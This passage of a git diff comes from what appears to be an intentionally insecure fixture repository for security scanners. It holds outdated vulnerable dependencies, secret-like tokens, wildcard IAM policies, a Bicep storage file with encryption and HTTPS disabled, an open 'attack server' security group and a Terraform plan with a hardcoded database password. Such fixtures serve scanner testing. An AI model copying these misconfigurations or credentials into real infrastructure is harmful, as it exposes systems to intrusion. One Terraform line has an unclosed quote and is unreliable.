h1:7N3gPTt50s8GuLortA00n8AqRTk75qOP98+mTPpgzRk= -gopkg.in/ini.v1 v1.42.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= -gopkg.in/resty.v1 v1.12.0/go.mod h1:mDo4pnntr5jdWRML875a/NmxYqAlA73dVijT2AXvQQo= -gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7/go.mod h1:dt/ZhP58zS4L8KSrWDmTeBkI65Dw0HsyUHuEVlX15mw= -gopkg.in/warnings.v0 v0.1.2/go.mod h1:jksf8JmL6Qr/oQM2OXTHunEvvTAsrWBLb6OOjuVWRNI= -gopkg.in/yaml.v2 v2.0.0-20170812160011-eb3733d160e7/go.mod h1:JAlM8MvJe8wmxCU4Bli9HhUf9+ttbYbLASfIpnQbh74= -gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= -gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= -gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= -gopkg.in/yaml.v2 v2.2.7/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= -gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= -gopkg.in/yaml.v2 v2.3.0/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= -gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY= -gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= -gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c h1:dUUwHk2QECo/6vqA44rthZ8ie2QXMNeKRTHCNY2nXvo= -gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= -honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= -honnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= -honnef.co/go/tools v0.0.0-20190418001031-e561f6794a2a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= -honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= -honnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg= -honnef.co/go/tools v0.0.1-2020.1.3/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k= -honnef.co/go/tools v0.0.1-2020.1.4/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k= -honnef.co/go/tools v0.3.0-0.dev h1:6vzhjcOJu1nJRa2G8QLXf3DPeg601NuerY16vrb01GY= -honnef.co/go/tools v0.3.0-0.dev/go.mod h1:lPVVZ2BS5TfnjLyizF7o7hv7j9/L+8cZY2hLyjP9cGY= -k8s.io/api v0.21.3 h1:cblWILbLO8ar+Fj6xdDGr603HRsf8Wu9E9rngJeprZQ= -k8s.io/api v0.21.3/go.mod h1:hUgeYHUbBp23Ue4qdX9tR8/ANi/g3ehylAqDn9NWVOg= -k8s.io/apimachinery v0.21.3 h1:3Ju4nvjCngxxMYby0BimUk+pQHPOQp3eCGChk5kfVII= -k8s.io/apimachinery v0.21.3/go.mod h1:H/IM+5vH9kZRNJ4l3x/fXP/5bOPJaVP/guptnZPeCFI= -k8s.io/client-go v0.21.3 h1:J9nxZTOmvkInRDCzcSNQmPJbDYN/PjlxXT9Mos3HcLg= -k8s.io/client-go v0.21.3/go.mod h1:+VPhCgTsaFmGILxR/7E1N0S+ryO010QBeNCv5JwRGYU= -k8s.io/gengo v0.0.0-20200413195148-3a45101e95ac/go.mod h1:ezvh/TsK7cY6rbqRK0oQQ8IAqLxYwwyPxAX1Pzy0ii0= -k8s.io/klog/v2 v2.0.0/go.mod h1:PBfzABfn139FHAV07az/IF9Wp1bkk3vpT2XSJ76fSDE= -k8s.io/klog/v2 v2.8.0 h1:Q3gmuM9hKEjefWFFYF0Mat+YyFJvsUyYuwyNNJ5C9Ts= -k8s.io/klog/v2 v2.8.0/go.mod h1:hy9LJ/NvuK+iVyP4Ehqva4HxZG/oXyIS3n3Jmire4Ec= -k8s.io/kube-openapi v0.0.0-20210305001622-591a79e4bda7/go.mod h1:wXW5VT87nVfh/iLV8FpR2uDvrFyomxbtb1KivDbvPTE= -k8s.io/utils v0.0.0-20201110183641-67b214c5f920/go.mod h1:jPW/WVKK9YHAvNhRxK0md/EJ228hCsBRufyofKtW8HA= -k8s.io/utils v0.0.0-20210930125809-cb0fa318a74b h1:wxEMGetGMur3J1xuGLQY7GEQYg9bZxKn3tKo5k/eYcs= -k8s.io/utils v0.0.0-20210930125809-cb0fa318a74b/go.mod h1:jPW/WVKK9YHAvNhRxK0md/EJ228hCsBRufyofKtW8HA= -rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8= -rsc.io/quote/v3 v3.1.0/go.mod h1:yEA65RcK8LyAZtP9Kv3t0HmxON59tX3rD+tICJqUlj0= -rsc.io/sampler v1.3.0/go.mod h1:T1hPZKmBbMNahiBKFy5HrXp6adAjACjK9JXDnKaTXpA= -sigs.k8s.io/structured-merge-diff/v4 v4.0.2/go.mod h1:bJZC9H9iH24zzfZ/41RGcq60oK1F7G282QMXDPYydCw= -sigs.k8s.io/structured-merge-diff/v4 v4.1.2 h1:Hr/htKFmJEbtMgS/UD0N+gtgctAqz81t3nu+sPzynno= -sigs.k8s.io/structured-merge-diff/v4 v4.1.2/go.mod h1:j/nl6xW8vLS49O8YvXW1ocPhZawJtm+Yrr7PPRQ0Vg4= -sigs.k8s.io/yaml v1.1.0/go.mod h1:UJmg0vDUVViEyp3mgSv9WPwZCDxu4rQW1olrI1uml+o= -sigs.k8s.io/yaml v1.2.0 h1:kr/MCeFWJWTwyaHoR9c8EjH9OumOmoF9YGiZd7lFm/Q= -sigs.k8s.io/yaml v1.2.0/go.mod h1:yfXDCHCao9+ENCvLSE62v9VSji2MKu5jeNfTrofGhJc= diff --git a/sca-package/package-lock.json b/sca-package/package-lock.json deleted file mode 100644 index 90b1e02..0000000 --- a/sca-package/package-lock.json +++ /dev/null @@ -1,138 +0,0 @@ -{ - "name": "angular-srcs", - "version": "13.1.0-next.0", - "lockfileVersion": 1, - "requires": true, - "dependencies": { - "bytes": { - "version": "0.1.0", - "resolved": "https://registry.npmjs.org/bytes/-/bytes-0.1.0.tgz", - "integrity": "sha1-xXSBIigSbWNp0VdpJahXnbP45aI=" - }, - "commander": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/commander/-/commander-0.6.1.tgz", - "integrity": "sha1-+mihT2qUXVTbvlDYzbMyDp47GgY=" - }, - "connect": { - "version": "2.6.0", - "resolved": "https://registry.npmjs.org/connect/-/connect-2.6.0.tgz", - "integrity": "sha1-OdSuftTE2U2GcN/i1+ixObTerU8=", - "requires": { - "bytes": "0.1.0", - "cookie": "0.0.4", - "crc": "0.2.0", - "debug": "*", - "formidable": "1.0.11", - "fresh": "0.1.0", - "pause": "0.0.1", - "qs": "0.5.1", - "send": "0.0.4" - }, - "dependencies": { - "send": { - "version": "0.0.4", - "resolved": "https://registry.npmjs.org/send/-/send-0.0.4.tgz", - "integrity": "sha1-LUz3mxifzQlhDhMCUQrJsOTd6AA=", - "requires": { - "debug": "*", - "fresh": "0.1.0", - "mime": "1.2.6", - "range-parser": "0.0.4" - } - } - } - }, - "cookie": { - "version": "0.0.4", - "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.0.4.tgz", - "integrity": "sha1-VFa9R67iZm6sl26oCmEFlASD/pg=" - }, - "crc": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/crc/-/crc-0.2.0.tgz", - "integrity": "sha1-9Ehrm/ChLfg8P8oU4x4DD9q9lFQ=" - }, - "debug": { - "version": "4.3.3", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.3.tgz", - "integrity": "sha512-/zxw5+vh1Tfv+4Qn7a5nsbcJKPaSvCDhojn6FEl9vupwK2VCSDtEiEtqr8DFtzYFOdz63LBkxec7DYuc2jon6Q==", - "requires": { - "ms": "2.1.2" - } - }, - "express": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/express/-/express-3.0.0.tgz", - "integrity": "sha1-QeIC82J+pEK+nobV7FEkatcjOe0=", - "requires": { - "commander": "0.6.1", - "connect": "2.6.0", - "cookie": "0.0.4", - "crc": "0.2.0", - "debug": "*", - "fresh": "0.1.0", - "methods": "0.0.1", - "mkdirp": "0.3.3", - "range-parser": "0.0.4", - "send": "0.1.0" - } - }, - "formidable": { - "version": "1.0.11", - "resolved": "https://registry.npmjs.org/formidable/-/formidable-1.0.11.tgz", - "integrity": "sha1-aPYzJaA15kS297s9ESQ7l2HeGzA=" - }, - "fresh": { - "version": "0.1.0", - "resolved": "https://registry.npmjs.org/fresh/-/fresh-0.1.0.tgz", - "integrity": "sha1-A+SwF4Qk5MLV0ZpU2IFM3JeTSFA=" - }, - "methods": { - "version": "0.0.1", - "resolved": "https://registry.npmjs.org/methods/-/methods-0.0.1.tgz", - "integrity": "sha1-J3yQ+L7zlwlkWoNxxRw7bGSOBow=" - }, - "mime": { - "version": "1.2.6", - "resolved": "https://registry.npmjs.org/mime/-/mime-1.2.6.tgz", - "integrity": "sha1-sfhsdowCX6h7SAdfFwnyiuryA2U=" - }, - "mkdirp": { - "version": "0.3.3", - "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.3.3.tgz", - "integrity": "sha1-WV4lHBNww6aLqyE20ONIuBBa3xM=" - }, - "ms": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" - }, - "pause": { - "version": "0.0.1", - "resolved": "https://registry.npmjs.org/pause/-/pause-0.0.1.tgz", - "integrity": "sha1-HUCLP9t2kjuVQ9lvtMnf1TXZy10=" - }, - "qs": { - "version": "0.5.1", - "resolved": "https://registry.npmjs.org/qs/-/qs-0.5.1.tgz", - "integrity": "sha1-n2v12axsdjhOldNtFbSJgOXkrdA=" - }, - "range-parser": { - "version": "0.0.4", - "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-0.0.4.tgz", - "integrity": "sha1-wEJ//vUcEKy6B4KkbJYC50T/Ygs=" - }, - "send": { - "version": "0.1.0", - "resolved": "https://registry.npmjs.org/send/-/send-0.1.0.tgz", - "integrity": "sha1-z7COvTzsm3/Bo32f+eh1qXHPRkA=", - "requires": { - "debug": "*", - "fresh": "0.1.0", - "mime": "1.2.6", - "range-parser": "0.0.4" - } - } - } -} diff --git a/sca-package/pom.xml b/sca-package/pom.xml deleted file mode 100644 index 55bb3c6..0000000 --- a/sca-package/pom.xml +++ /dev/null @@ -1,52 +0,0 @@ - - - 4.0.0 - kms-api-examples - kms-api-examples - 0.0.1-SNAPSHOT - - - org.apache.httpcomponents - httpclient - 4.3.2 - jar - compile - - - org.apache.httpcomponents - httpclient-cache - 4.3.2 - jar - compile - - - org.apache.httpcomponents - httpmime - 4.3.2 - jar - compile - - - com.fasterxml.jackson.core - jackson-core - 2.4.0 - - - com.fasterxml.jackson.core - jackson-databind - 2.4.0 - - - - - - maven-compiler-plugin - 3.5.1 - - 1.7 - 1.7 - - - - - diff --git a/sca-package/requirements.txt b/sca-package/requirements.txt deleted file mode 100644 index 557fbc0..0000000 --- a/sca-package/requirements.txt +++ /dev/null @@ -1,3 +0,0 @@ -django==1.2 -flask==0.6 -requests==2.26.0 diff --git a/secrets/app.js b/secrets/app.js deleted file mode 100644 index 68d0341..0000000 --- a/secrets/app.js +++ /dev/null @@ -1,3 +0,0 @@ -const SEC_1 = "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" -const SEC_2 = "eyJrIjoiNUwyZU7TMmRxQXNVcnR7UXB0ME4zYkhRaTk2STVhR0MiLCJuIjoidGVtcCIsImlkIjoxfQ==" -const SEC_3 = "dsapi45202d12abdce73c004a9e0be24a21b2" \ No newline at end of file diff --git a/secrets/config.js b/secrets/config.js deleted file mode 100644 index 430f192..0000000 --- a/secrets/config.js +++ /dev/null @@ -1,2 +0,0 @@ -const CIRCLE_CI = "2065ae463be5e534bb1d074a366d44e7a776d472" -const JIRA = "5FP0NmFYz81U32XdjNb42762" \ No newline at end of file diff --git a/serverless/serverless.yaml b/serverless/serverless.yaml deleted file mode 100644 index 36f2e83..0000000 --- a/serverless/serverless.yaml +++ /dev/null @@ -1,62 +0,0 @@ -service: acme-service - -frameworkVersion: "^2.30.0" - -plugins: - - serverless-vpc-discovery - -custom: - resources: ${file(./serverless.${opt:stage}.yml)} - vpc: - vpcName: acme-vpc - subnetNames: - - private-subnet-a - - private-subnet-b - securityGroupNames: - - allow_out_to_vpc_endpoints - - lambda_sg -provider: - region: us-east-1 - name: aws - runtime: python3.7 - tracing: - lambda: true - deploymentBucket: ${self:custom.resources.deploymentBucket} - environment: ${self:custom.resources.environment} - iamManagedPolicies: - - arn:aws:iam::aws:policy/ReadOnlyAccess - iamRoleStatements: ${self:custom.resources.iamRoleStatements} - ecr: - images: - base: - path: ../../ - file: ./path/to/Dockerfile - -functions: - acmeFunc: - image: base - timeout: 120 - memorySize: 3000 - environment: - EFS_MOUNT_PATH: ${self:custom.localMountPath} - fileSystemConfig: - localMountPath: ${self:custom.localMountPath} - arn: 'arn:aws:elasticfilesystem:${self:provider.region}:#{AWS::AccountId}:access-point/${self:custom.resources.efsAccessPoint}' - events: - - sqs: - arn: arn:aws:sqs:#{AWS::Region}:#{AWS::AccountId}:job_queue - batchSize: 10 - maximumBatchingWindow: 0 - acmeFunc2: - image: base - environment: - EFS_MOUNT_PATH: ${self:custom.localMountPath} - CLEAN_UP_BEFORE_PROCESS: 'true' - timeout: 900 - memorySize: 9000 - fileSystemConfig: - localMountPath: ${self:custom.localMountPath} - arn: 'arn:aws:elasticfilesystem:${self:provider.region}:#{AWS::AccountId}:access-point/${self:custom.resources.efsAccessPoint}' - -resources: - Resources: ${file(./serverless.${opt:stage}.yml)} # just shouldn't raise an exception diff --git a/serverless/serverless.yml b/serverless/serverless.yml deleted file mode 100644 index 89c92c0..0000000 --- a/serverless/serverless.yml +++ /dev/null @@ -1,31 +0,0 @@ -service: my-sls-service - -provider: - name: aws - runtime: python3.7 - stackName: lambda-${self:service.name} - tag: ${opt:tag} - - iamRoleStatements: - - Effect: "Allow" - Action: - - "s3:PutObject" - - "s3:GetObject" - Resource: - - "arn:aws:s3:::somebucket/*" - -functions: - myFunc: - name: myFunc - tags: - RESOURCE: lambda - PUBLIC: false - iamRoleStatements: - - Effect: Allow - Action: - - "*" - Resource: - - "*" - handler: Handler.handle - timeout: 600 - memorySize: 320 \ No newline at end of file diff --git a/storage.bicep b/storage.bicep new file mode 100644 index 0000000..9dd77d4 --- /dev/null +++ b/storage.bicep @@ -0,0 +1,49 @@ +@description('Name of environment') +param env string = 'dev' + +@description('Default location for all resources.') +param location string = resourceGroup().location + +var name = 'bicepgoat' + +resource datadisk 'Microsoft.Compute/disks@2021-12-01' = { + name: '${name}-disk-${env}' + location: location + sku: { + name: 'Standard_LRS' + } + + properties: { + diskSizeGB: 10 + encryptionSettingsCollection: { + enabled: false + } + } +} + +resource storageAccount 'Microsoft.Storage/storageAccounts@2021-01-01' = { + name: '${name}-sa-${env}' + location: location + kind: 'StorageV2' + sku: { + name: 'Standard_GRS' + } + + properties: { + supportsHttpsTrafficOnly: false + + networkAcls: { + bypass: 'None' + defaultAction: 'Deny' + } + } + + resource configWeb 'config' = { + name: 'web' + + properties: { + minTlsVersion: '1.1' + remoteDebuggingEnabled: true + } + } +} \ No newline at end of file diff --git a/terraform/imds.tf b/terraform/imds.tf new file mode 100644 index 0000000..8ac87e0 --- /dev/null +++ b/terraform/imds.tf @@ -0,0 +1,36 @@ +provider "aws" { + region = "us-east-1" +} +resource "aws_security_group" "bastion-host-sg" { + name = "bastion-host-sg" + description = "Security group for the attack server" + ingress { + from_port = 22 + to_port = 22 + protocol = "tcp" + cidr_blocks = ["0.0.0.0/0"] + } + ingress { + from_port = 80 + to_port = 80 + protocol = "tcp" + cidr_blocks = ["0.0.0.0/0"] + } + egress { + from_port = 0 + to_port = 0 + protocol = "-1" + cidr_blocks = ["0.0.0.0/0"] + } +} +resource "aws_instance" "example" { + ami = "ami-0c7217cdde317cfec" + instance_type = "t2.micro" + security_groups = [aws_security_group.bastion-host-sg.name] + tags = { + Name = "bastion-host" + } + metadata_options { + http_tokens = "false + } +} \ No newline at end of file diff --git a/tfplan/tfplan.json b/tfplan/tfplan.json deleted file mode 100644 index bcb355f..0000000 --- a/tfplan/tfplan.json +++ /dev/null @@ -1,5612 +0,0 @@ -{ - "format_version": "0.1", - "terraform_version": "0.12.23", - "variables": { - "ami": { - "value": "ami-09a5b0b7edf08843d" - }, - "availability_zone": { - "value": "us-west-2a" - }, - "availability_zone2": { - "value": "us-west-2b" - }, - "company_name": { - "value": "acme" - }, - "dbname": { - "value": "db1" - }, - "environment": { - "value": "corp" - }, - "neptune-dbname": { - "value": "neptunedb1" - }, - "password": { - "value": "Aa1234321Bb" - }, - "profile": { - "value": "default" - }, - "region": { - "value": "us-west-2" - } - }, - "planned_values": { - "outputs": { - "db_app_public_dns": { - "sensitive": false - }, - "db_endpoint": { - "sensitive": false - }, - "ec2_public_dns": { - "sensitive": false - }, - "endpoint": { - "sensitive": false - }, - "kubeconfig-certificate-authority-data": { - "sensitive": false - }, - "public_subnet": { - "sensitive": false - }, - "public_subnet2": { - "sensitive": false - }, - "secret": { - "sensitive": false - }, - "username": { - "sensitive": false, - "value": "123456789123-acme-corp-user" - }, - "vpc_id": { - "sensitive": false - } - }, - "root_module": { - "resources": [ - { - "address": "aws_db_instance.default", - "mode": "managed", - "type": "aws_db_instance", - "name": "default", - "provider_name": "aws", - "schema_version": 1, - "values": { - "allocated_storage": 20, - "allow_major_version_upgrade": null, - "apply_immediately": true, - "auto_minor_version_upgrade": true, - "backup_retention_period": 0, - "copy_tags_to_snapshot": false, - "db_subnet_group_name": "sg-123456789123-acme-corp", - "delete_automated_backups": true, - "deletion_protection": null, - "domain": null, - "domain_iam_role_name": null, - "enabled_cloudwatch_logs_exports": null, - "engine": "mysql", - "engine_version": "8.0", - "final_snapshot_identifier": null, - "iam_database_authentication_enabled": null, - "identifier": "rds-123456789123-acme-corp", - "instance_class": "db.t3.micro", - "iops": null, - "max_allocated_storage": null, - "monitoring_interval": 0, - "multi_az": false, - "name": "db1", - "option_group_name": "og-123456789123-acme-corp", - "parameter_group_name": "pg-123456789123-acme-corp", - "password": "Aa1234321Bb", - "performance_insights_enabled": false, - "publicly_accessible": true, - "replicate_source_db": null, - "s3_import": [], - "security_group_names": null, - "skip_final_snapshot": true, - "snapshot_identifier": null, - "storage_encrypted": false, - "tags": { - "Environment": "123456789123-acme-corp", - "Name": "123456789123-acme-corp-rds" - }, - "timeouts": null, - "username": "admin" - } - }, - { - "address": "aws_db_option_group.default", - "mode": "managed", - "type": "aws_db_option_group", - "name": "default", - "provider_name": "aws", - "schema_version": 0, - "values": { - "engine_name": "mysql", - "major_engine_version": "8.0", - "name": "og-123456789123-acme-corp", - "option": [], - "option_group_description": "Terraform OG", - "tags": { - "Environment": "123456789123-acme-corp", - "Name": "123456789123-acme-corp-og" - }, - "timeouts": null - } - }, - { - "address": "aws_db_parameter_group.default", - "mode": "managed", - "type": "aws_db_parameter_group", - "name": "default", - "provider_name": "aws", - "schema_version": 0, - "values": { - "description": "Terraform PG", - "family": "mysql8.0", - "name": "pg-123456789123-acme-corp", - "parameter": [ - { - "apply_method": "immediate", - "name": "character_set_client", - "value": "utf8" - }, - { - "apply_method": "immediate", - "name": "character_set_server", - "value": "utf8" - } - ], - "tags": { - "Environment": "123456789123-acme-corp", - "Name": "123456789123-acme-corp-pg" - } - } - }, - { - "address": "aws_db_subnet_group.default", - "mode": "managed", - "type": "aws_db_subnet_group", - "name": "default", - "provider_name": "aws", - "schema_version": 0, - "values": { - "description": "Terraform DB Subnet Group", - "name": "sg-123456789123-acme-corp", - "tags": { - "Environment": "123456789123-acme-corp", - "Name": "sg-123456789123-acme-corp" - } - } - }, - { - "address": "aws_ebs_snapshot.example_snapshot", - "mode": "managed", - "type": "aws_ebs_snapshot", - "name": "example_snapshot", - "provider_name": "aws", - "schema_version": 0, - "values": { - "description": "123456789123-acme-corp-ebs-snapshot", - "tags": { - "Name": "123456789123-acme-corp-ebs-snapshot" - }, - "timeouts": null - } - }, - { - "address": "aws_ebs_volume.web_host_storage", - "mode": "managed", - "type": "aws_ebs_volume", - "name": "web_host_storage", - "provider_name": "aws", - "schema_version": 0, - "values": { - "availability_zone": "us-west-2a", - "multi_attach_enabled": null, - "outpost_arn": null, - "size": 1, - "tags": { - "Name": "123456789123-acme-corp-ebs" - } - } - }, - { - "address": "aws_ecr_repository.repository", - "mode": "managed", - "type": "aws_ecr_repository", - "name": "repository", - "provider_name": "aws", - "schema_version": 0, - "values": { - "encryption_configuration": [], - "image_scanning_configuration": [], - "image_tag_mutability": "MUTABLE", - "name": "123456789123-acme-corp-repository", - "tags": { - "Name": "123456789123-acme-corp-repository" - }, - "timeouts": null - } - }, - { - "address": "aws_eks_cluster.eks_cluster", - "mode": "managed", - "type": "aws_eks_cluster", - "name": "eks_cluster", - "provider_name": "aws", - "schema_version": 0, - "values": { - "enabled_cluster_log_types": null, - "encryption_config": [], - "name": "123456789123-acme-corp-eks", - "tags": null, - "timeouts": null, - "vpc_config": [ - { - "endpoint_private_access": true, - "endpoint_public_access": true, - "security_group_ids": null - } - ] - } - }, - { - "address": "aws_elasticsearch_domain.monitoring-framework", - "mode": "managed", - "type": "aws_elasticsearch_domain", - "name": "monitoring-framework", - "provider_name": "aws", - "schema_version": 0, - "values": { - "cluster_config": [ - { - "dedicated_master_count": null, - "dedicated_master_enabled": false, - "dedicated_master_type": null, - "instance_count": 1, - "instance_type": "t2.small.elasticsearch", - "warm_count": null, - "warm_enabled": null, - "warm_type": null, - "zone_awareness_config": [], - "zone_awareness_enabled": null - } - ], - "cognito_options": [], - "domain_name": "tg-corp-es", - "ebs_options": [ - { - "ebs_enabled": true, - "iops": null, - "volume_size": 30 - } - ], - "elasticsearch_version": "2.3", - "log_publishing_options": [], - "snapshot_options": [], - "tags": null, - "timeouts": null, - "vpc_options": [] - } - }, - { - "address": "aws_elasticsearch_domain_policy.monitoring-framework-policy", - "mode": "managed", - "type": "aws_elasticsearch_domain_policy", - "name": "monitoring-framework-policy", - "provider_name": "aws", - "schema_version": 0, - "values": { - "access_policies": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Sid\": \"\",\n \"Effect\": \"Allow\",\n \"Action\": \"es:*\",\n \"Resource\": \"*\",\n \"Principal\": {\n \"AWS\": \"*\"\n }\n }\n ]\n}", - "domain_name": "tg-corp-es" - } - }, - { - "address": "aws_elb.weblb", - "mode": "managed", - "type": "aws_elb", - "name": "weblb", - "provider_name": "aws", - "schema_version": 0, - "values": { - "access_logs": [], - "connection_draining": true, - "connection_draining_timeout": 400, - "cross_zone_load_balancing": true, - "health_check": [ - { - "healthy_threshold": 2, - "interval": 30, - "target": "HTTP:8000/", - "timeout": 3, - "unhealthy_threshold": 2 - } - ], - "idle_timeout": 400, - "listener": [ - { - "instance_port": 8000, - "instance_protocol": "http", - "lb_port": 80, - "lb_protocol": "http", - "ssl_certificate_id": "" - } - ], - "name": "weblb-terraform-elb", - "name_prefix": null, - "tags": { - "Name": "foobar-terraform-elb" - } - } - }, - { - "address": "aws_flow_log.vpcflowlogs", - "mode": "managed", - "type": "aws_flow_log", - "name": "vpcflowlogs", - "provider_name": "aws", - "schema_version": 0, - "values": { - "eni_id": null, - "iam_role_arn": null, - "log_destination_type": "s3", - "max_aggregation_interval": 600, - "subnet_id": null, - "tags": { - "Environment": "123456789123-acme-corp", - "Name": "123456789123-acme-corp-flowlogs" - }, - "traffic_type": "ALL" - } - }, - { - "address": "aws_iam_access_key.user", - "mode": "managed", - "type": "aws_iam_access_key", - "name": "user", - "provider_name": "aws", - "schema_version": 0, - "values": { - "pgp_key": null, - "user": "123456789123-acme-corp-user" - } - }, - { - "address": "aws_iam_instance_profile.ec2profile", - "mode": "managed", - "type": "aws_iam_instance_profile", - "name": "ec2profile", - "provider_name": "aws", - "schema_version": 0, - "values": { - "name": "123456789123-acme-corp-profile", - "name_prefix": null, - "path": "/", - "role": "123456789123-acme-corp-role" - } - }, - { - "address": "aws_iam_role.ec2role", - "mode": "managed", - "type": "aws_iam_role", - "name": "ec2role", - "provider_name": "aws", - "schema_version": 0, - "values": { - "assume_role_policy": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Action\": \"sts:AssumeRole\",\n \"Principal\": {\n \"Service\": \"ec2.amazonaws.com\"\n },\n \"Effect\": \"Allow\",\n \"Sid\": \"\"\n }\n ]\n}\n", - "description": null, - "force_detach_policies": false, - "max_session_duration": 3600, - "name": "123456789123-acme-corp-role", - "name_prefix": null, - "path": "/", - "permissions_boundary": null, - "tags": { - "Environment": "123456789123-acme-corp", - "Name": "123456789123-acme-corp-role" - } - } - }, - { - "address": "aws_iam_role.iam_for_eks", - "mode": "managed", - "type": "aws_iam_role", - "name": "iam_for_eks", - "provider_name": "aws", - "schema_version": 0, - "values": { - "assume_role_policy": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Sid\": \"\",\n \"Effect\": \"Allow\",\n \"Action\": \"sts:AssumeRole\",\n \"Principal\": {\n \"Service\": \"eks.amazonaws.com\"\n }\n }\n ]\n}", - "description": null, - "force_detach_policies": false, - "max_session_duration": 3600, - "name": "123456789123-acme-corp-iam-for-eks", - "name_prefix": null, - "path": "/", - "permissions_boundary": null, - "tags": null - } - }, - { - "address": "aws_iam_role.iam_for_lambda", - "mode": "managed", - "type": "aws_iam_role", - "name": "iam_for_lambda", - "provider_name": "aws", - "schema_version": 0, - "values": { - "assume_role_policy": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Action\": \"sts:AssumeRole\",\n \"Principal\": {\n \"Service\": \"lambda.amazonaws.com\"\n },\n \"Effect\": \"Allow\",\n \"Sid\": \"\"\n }\n ]\n}\n", - "description": null, - "force_detach_policies": false, - "max_session_duration": 3600, - "name": "123456789123-acme-corp-analysis-lambda", - "name_prefix": null, - "path": "/", - "permissions_boundary": null, - "tags": null - } - }, - { - "address": "aws_iam_role_policy.ec2policy", - "mode": "managed", - "type": "aws_iam_role_policy", - "name": "ec2policy", - "provider_name": "aws", - "schema_version": 0, - "values": { - "name": "123456789123-acme-corp-policy", - "name_prefix": null, - "policy": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Action\": [\n \"s3:*\",\n \"ec2:*\",\n \"rds:*\"\n ],\n \"Effect\": \"Allow\",\n \"Resource\": \"*\"\n }\n ]\n}\n" - } - }, - { - "address": "aws_iam_role_policy_attachment.policy_attachment-AmazonEKSClusterPolicy", - "mode": "managed", - "type": "aws_iam_role_policy_attachment", - "name": "policy_attachment-AmazonEKSClusterPolicy", - "provider_name": "aws", - "schema_version": 0, - "values": { - "policy_arn": "arn:aws:iam::aws:policy/AmazonEKSClusterPolicy", - "role": "123456789123-acme-corp-iam-for-eks" - } - }, - { - "address": "aws_iam_role_policy_attachment.policy_attachment-AmazonEKSServicePolicy", - "mode": "managed", - "type": "aws_iam_role_policy_attachment", - "name": "policy_attachment-AmazonEKSServicePolicy", - "provider_name": "aws", - "schema_version": 0, - "values": { - "policy_arn": "arn:aws:iam::aws:policy/AmazonEKSServicePolicy", - "role": "123456789123-acme-corp-iam-for-eks" - } - }, - { - "address": "aws_iam_user.user", - "mode": "managed", - "type": "aws_iam_user", - "name": "user", - "provider_name": "aws", - "schema_version": 0, - "values": { - "force_destroy": true, - "name": "123456789123-acme-corp-user", - "path": "/", - "permissions_boundary": null, - "tags": { - "Environment": "123456789123-acme-corp", - "Name": "123456789123-acme-corp-user" - } - } - }, - { - "address": "aws_iam_user_policy.userpolicy", - "mode": "managed", - "type": "aws_iam_user_policy", - "name": "userpolicy", - "provider_name": "aws", - "schema_version": 0, - "values": { - "name": "excess_policy", - "name_prefix": null, - "policy": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Action\": [\n \"ec2:*\",\n \"s3:*\",\n \"lambda:*\",\n \"cloudwatch:*\"\n ],\n \"Effect\": \"Allow\",\n \"Resource\": \"*\"\n }\n ]\n}\n", - "user": "123456789123-acme-corp-user" - } - }, - { - "address": "aws_instance.db_app", - "mode": "managed", - "type": "aws_instance", - "name": "db_app", - "provider_name": "aws", - "schema_version": 1, - "values": { - "ami": "ami-0f0a6d00932023856", - "credit_specification": [], 